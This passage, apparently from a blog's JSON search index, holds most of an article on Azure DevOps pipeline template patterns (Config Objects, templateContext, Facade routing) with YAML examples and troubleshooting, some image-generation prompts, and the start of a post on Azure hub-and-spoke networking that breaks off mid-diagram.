style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereleaseName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evalueFile\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./charts/myapp/values-${{ parameters.config.environment }}.yaml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eoverrideValues\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        image.tag=${{ parameters.config.imageTag }}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        replicaCount=${{ parameters.config.replicaCount }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etimeoutInMinutes\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.deployTimeout }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.config.rollbackOnFailure }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eHelmDeploy@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Rollback on failure\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efailed()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econnectionType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzure Resource Manager\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eazureSubscriptionEndpoint\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eazureResourceGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erg-${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ekubernetesCluster\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.aksCluster }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enamespace\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.aksNamespace }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erollback\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ parameters.config.environment }} 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eImplementation steps:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eIdentify pass-through parameters in each intermediate layer — parameters declared and forwarded but never read by that layer.\u003c/li\u003e\n\u003cli\u003eBundle all pass-through parameters into a \u003ccode\u003econfig\u003c/code\u003e object with default values matching the current parameter defaults.\u003c/li\u003e\n\u003cli\u003eReplace all intermediate parameter declarations with \u003ccode\u003e- name: config type: object default: {}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdate each intermediate call site: \u003ccode\u003econfig: ${{ parameters.config }}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdate the bottom-layer consumer to read \u003ccode\u003eparameters.config.propertyName\u003c/code\u003e instead of individual parameters.\u003c/li\u003e\n\u003cli\u003eAdd a validation block at the top of the consumer (or the Facade) for required properties.\u003c/li\u003e\n\u003cli\u003eUpdate the top-level pipeline callers to pass a \u003ccode\u003econfig:\u003c/code\u003e mapping instead of 14 individual parameters.\u003c/li\u003e\n\u003cli\u003eRun the test pipeline and compare the Expanded YAML before and after to confirm identical job and step structure.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eVerification checklist:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eParameter count at the caller level drops from 14 to 2.\u003c/li\u003e\n\u003cli\u003eExpanded YAML for the test pipeline is structurally identical before and after the refactor.\u003c/li\u003e\n\u003cli\u003eAdding a new \u003ccode\u003erolloutStrategy\u003c/code\u003e property to the Config Object requires editing only \u003ccode\u003epipeline.yml\u003c/code\u003e (to expose it in the default) and \u003ccode\u003edeployment-steps.yml\u003c/code\u003e (to consume it) — zero changes to the three intermediate layers.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices--optimization\"\u003eBest Practices \u0026amp; Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDo:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eApply the Config Object pattern when an intermediate template passes 5+ parameters without reading any of them.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e for per-job or per-stage metadata that varies within a single template invocation.\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003edefault: {}\u003c/code\u003e on every \u003ccode\u003eobject\u003c/code\u003e parameter to prevent \u0026ldquo;expects a mapping value\u0026rdquo; parse errors when callers omit the parameter.\u003c/li\u003e\n\u003cli\u003eDocument the Config Object schema in the Facade template\u0026rsquo;s YAML comments — it is the only place where the full contract is visible.\u003c/li\u003e\n\u003cli\u003eAdd required-property validation at the Facade level; implementation templates should trust the object is already valid when it arrives.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003ecoalesce(parameters.config.prop, 'default')\u003c/code\u003e for optional properties to keep callers minimal.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse an \u003ccode\u003eobject\u003c/code\u003e parameter to pass data that needs schema validation at parse time — if an incorrect type would cause a runtime failure, keep that parameter typed individually.\u003c/li\u003e\n\u003cli\u003eNest Config Objects inside Config Objects — one level of bundling is enough; deeper nesting obscures the contract and makes debugging slower.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e for values that apply to the whole template invocation — that is what the Config Object is for.\u003c/li\u003e\n\u003cli\u003eSkip the Facade pattern when routing between 3+ implementation templates — without it, callers couple directly to internal file paths and refactors become coordinated rollouts.\u003c/li\u003e\n\u003cli\u003eDestructure the Config Object in intermediate layers by extracting individual properties — pass the entire object unchanged, always.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 1: \u0026ldquo;Parameter \u0026lsquo;config\u0026rsquo; of type Object expects a mapping value\u0026rdquo; parse error\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The caller passed an empty string or \u003ccode\u003enull\u003c/code\u003e for the \u003ccode\u003econfig\u003c/code\u003e parameter instead of an empty mapping \u003ccode\u003e{}\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSolution: Set \u003ccode\u003edefault: {}\u003c/code\u003e on the \u003ccode\u003econfig\u003c/code\u003e parameter. Callers can then omit the parameter entirely to use the default:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}   \u003cspan style=\"color:#75715e\"\u003e# prevents the \u0026#34;expects a mapping\u0026#34; error when callers omit config\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 2: A Config Object property resolves to \u003ccode\u003enull\u003c/code\u003e in the consumer but is populated in the caller\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: An intermediate template destructured the Config Object by extracting individual properties and forwarding them separately. The consumer receives an incomplete or incorrectly typed object.\u003c/p\u003e\n\u003cp\u003eSolution: Audit all intermediate templates and replace any property extraction with a full object pass-through:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BUG: extracting individual properties from the object breaks the bundle\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enext-layer.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# CORRECT: pass the entire object unchanged\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enext-layer.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 3: \u003ccode\u003etemplateContext\u003c/code\u003e properties are not accessible inside the job\u0026rsquo;s \u003ccode\u003esteps:\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: \u003ccode\u003etemplateContext\u003c/code\u003e is a compile-time construct. It is accessible only in the template that processes the \u003ccode\u003ejobList\u003c/code\u003e or \u003ccode\u003edeploymentList\u003c/code\u003e via \u003ccode\u003e${{ each job in parameters.jobs }}\u003c/code\u003e. Steps execute at runtime and cannot read compile-time template metadata.\u003c/p\u003e\n\u003cp\u003eSolution: Extract the \u003ccode\u003etemplateContext\u003c/code\u003e value at the template level and pass it as a runtime environment variable:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./scripts/deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ deploy.templateContext.targetEnvironment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eTARGET_ENV\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# readable at runtime\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 4: Facade template routes to the wrong implementation\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The \u003ccode\u003e${{ if }}\u003c/code\u003e routing condition uses a string comparison that does not match the exact casing of the \u003ccode\u003edeploymentType\u003c/code\u003e value the caller passed.\u003c/p\u003e\n\u003cp\u003eSolution: Declare the \u003ccode\u003edeploymentType\u003c/code\u003e parameter with a \u003ccode\u003evalues:\u003c/code\u003e constraint. Azure DevOps rejects invalid values at parse time before any routing occurs:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentType\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eaks        \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# only these three values are accepted; casing is exact\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eappservice\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003efunctions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 5: After refactoring to a Config Object, a previously-required parameter can now be omitted silently\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The Config Object has \u003ccode\u003edefault: {}\u003c/code\u003e, so omitting a required property no longer triggers a parse error. It resolves to an empty string inside the consumer, and the pipeline may run for several minutes before failing on a downstream task with a cryptic message.\u003c/p\u003e\n\u003cp\u003eSolution: Add a validation block at the Facade for each required property:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(parameters.config.containerRegistry) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.logissue type=error]config.containerRegistry is required.\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Set it via: config: { containerRegistry: \u0026#39;myregistry.azurecr.io\u0026#39; }\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;ERROR\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMissing required config.containerRegistry\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eParameter explosion is an O(n × m) problem: n parameters × m template layers. Object bundling collapses the intermediate layer cost to O(m) — each layer carries one object regardless of how many properties it contains.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003etemplateContext\u003c/code\u003e solves the co-location problem for job and stage lists — metadata travels with the job definition rather than in a parallel array, eliminating index-alignment bugs.\u003c/li\u003e\n\u003cli\u003eThe Facade pattern decouples the caller\u0026rsquo;s parameter contract from the internal template tree, making the internal structure refactorable without a coordinated cross-team rollout.\u003c/li\u003e\n\u003cli\u003eCombining all three patterns — Facade for routing, Config Object for shared config, \u003ccode\u003etemplateContext\u003c/code\u003e for per-item metadata — scales a template library to 100+ files while keeping the caller interface at 2-5 parameters.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eobject\u003c/code\u003e parameters trade parse-time type safety for flexibility. Validate required properties explicitly at the Facade level to restore the safety net without sacrificing the maintenance benefits.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAudit your most-used shared template and count how many parameters are declared in intermediate layers but never read there — each one is a candidate for bundling into a Config Object.\u003c/li\u003e\n\u003cli\u003eRead the next article in this series for a complete treatment of \u003ccode\u003etemplateContext\u003c/code\u003e including stage-level usage and known edge cases.\u003c/li\u003e\n\u003cli\u003eRead the article on advanced \u003ccode\u003e${{ each }}\u003c/code\u003e looping for patterns that combine Config Objects with compile-time iteration to generate multi-environment deployment stages automatically.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/template-parameters\"\u003eTemplate parameters — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/yaml-schema/jobs-job-templatecontext\"\u003etemplateContext property — Azure DevOps YAML schema reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops\"\u003eTemplate usage reference — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions\"\u003eExpressions — Azure DevOps Pipelines (coalesce, if, each)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/yaml-schema/\"\u003eYAML schema reference — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A dimly lit modern office space with a large whiteboard. The whiteboard is covered in a tangled, chaotic mess of red yarn connecting hundreds of sticky notes. Next to it, a second whiteboard shows a perfectly organized, simple diagram with only three clean lines. Cinematic lighting, shallow depth of field. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of a complex machinery with hundreds of small, tangled pipes. In the foreground, a sleek, translucent \"Facade\" panel is placed over a section, consolidating dozens of inputs into a single, elegant glowing port. Minimalist white and blue palette. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration showing a funnel effect. A chaotic swarm of small squares on the left enters a wide funnel and emerges as a single, large, organized cube on the right. Professional shades of slate blue, charcoal, and white. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** A high-contrast dark image of a massive knot of glowing fiber optic cables. One single cable is pulled tight and straight, glowing much brighter than the rest, cutting through the chaos. Futuristic and data-driven aesthetic. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D clay-like blocks stacked in a tall, precarious tower that is leaning over. Beside it, a single large, stable block represents a bundled configuration object. Soft, diffused lighting and pastel colors. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a high-tech multi-core processor. The focus is on the boundary where millions of microscopic traces converge into a single, clean interface. The precision and order represent the \"Escaping Hell\" theme. Gold and silicon textures with blue highlights. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"Stop re-declaring every parameter across 5+ template layers. Learn object bundling, templateContext, and Facade patterns that scale to 100+ YAML files.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/escaping-parameter-hell/","title":"Escaping Parameter Hell: Nested Template Patterns"},{"content":"\u003cp\u003eRunning out of IP address space in a cloud network is not like running out of disk space. There is no \u0026ldquo;add more\u0026rdquo; without a rebuild. Reconfiguring VNet address ranges after workloads are deployed means re-deploying VMs, re-creating private endpoints, and coordinating outages across teams. The right time to plan your network is before the first spoke VNet exists.\u003c/p\u003e\n\u003cp\u003eHub-and-spoke is the standard topology for Azure landing zones. Production hub networks carry Azure Firewall with forced tunnel routing, Azure Bastion for secure VM access, and Private DNS Zones for centralized name resolution.\u003c/p\u003e\n\u003cp\u003eAs of March 31, 2026, Azure retired default outbound internet access for VMs in new VNets. New VNets are private-by-default — a VM with no public IP and no explicit egress path has no internet connectivity. A centralized hub with Azure Firewall is now a mandatory requirement for internet egress, not just a security recommendation.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIdentify the mandatory components of a production hub VNet.\u003c/li\u003e\n\u003cli\u003ePlan an IP address space that supports three to five years of spoke growth.\u003c/li\u003e\n\u003cli\u003eDeploy the hub network using Terraform AVM and Bicep AVM.\u003c/li\u003e\n\u003cli\u003eConfigure UDRs to route all spoke traffic through Azure Firewall.\u003c/li\u003e\n\u003cli\u003eCentralize Private DNS resolution for private endpoints.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 2 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e. It builds on the Connectivity subscription provisioned in \u003ca href=\"../azure-management-group-design/\"\u003ePost 1\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hub-and-spoke-topology-goat\"\u003eHub-and-Spoke Topology (GoAT)\u003c/h2\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 576 505\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 24,0 L 376,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 352,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,64 L 432,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,80 L 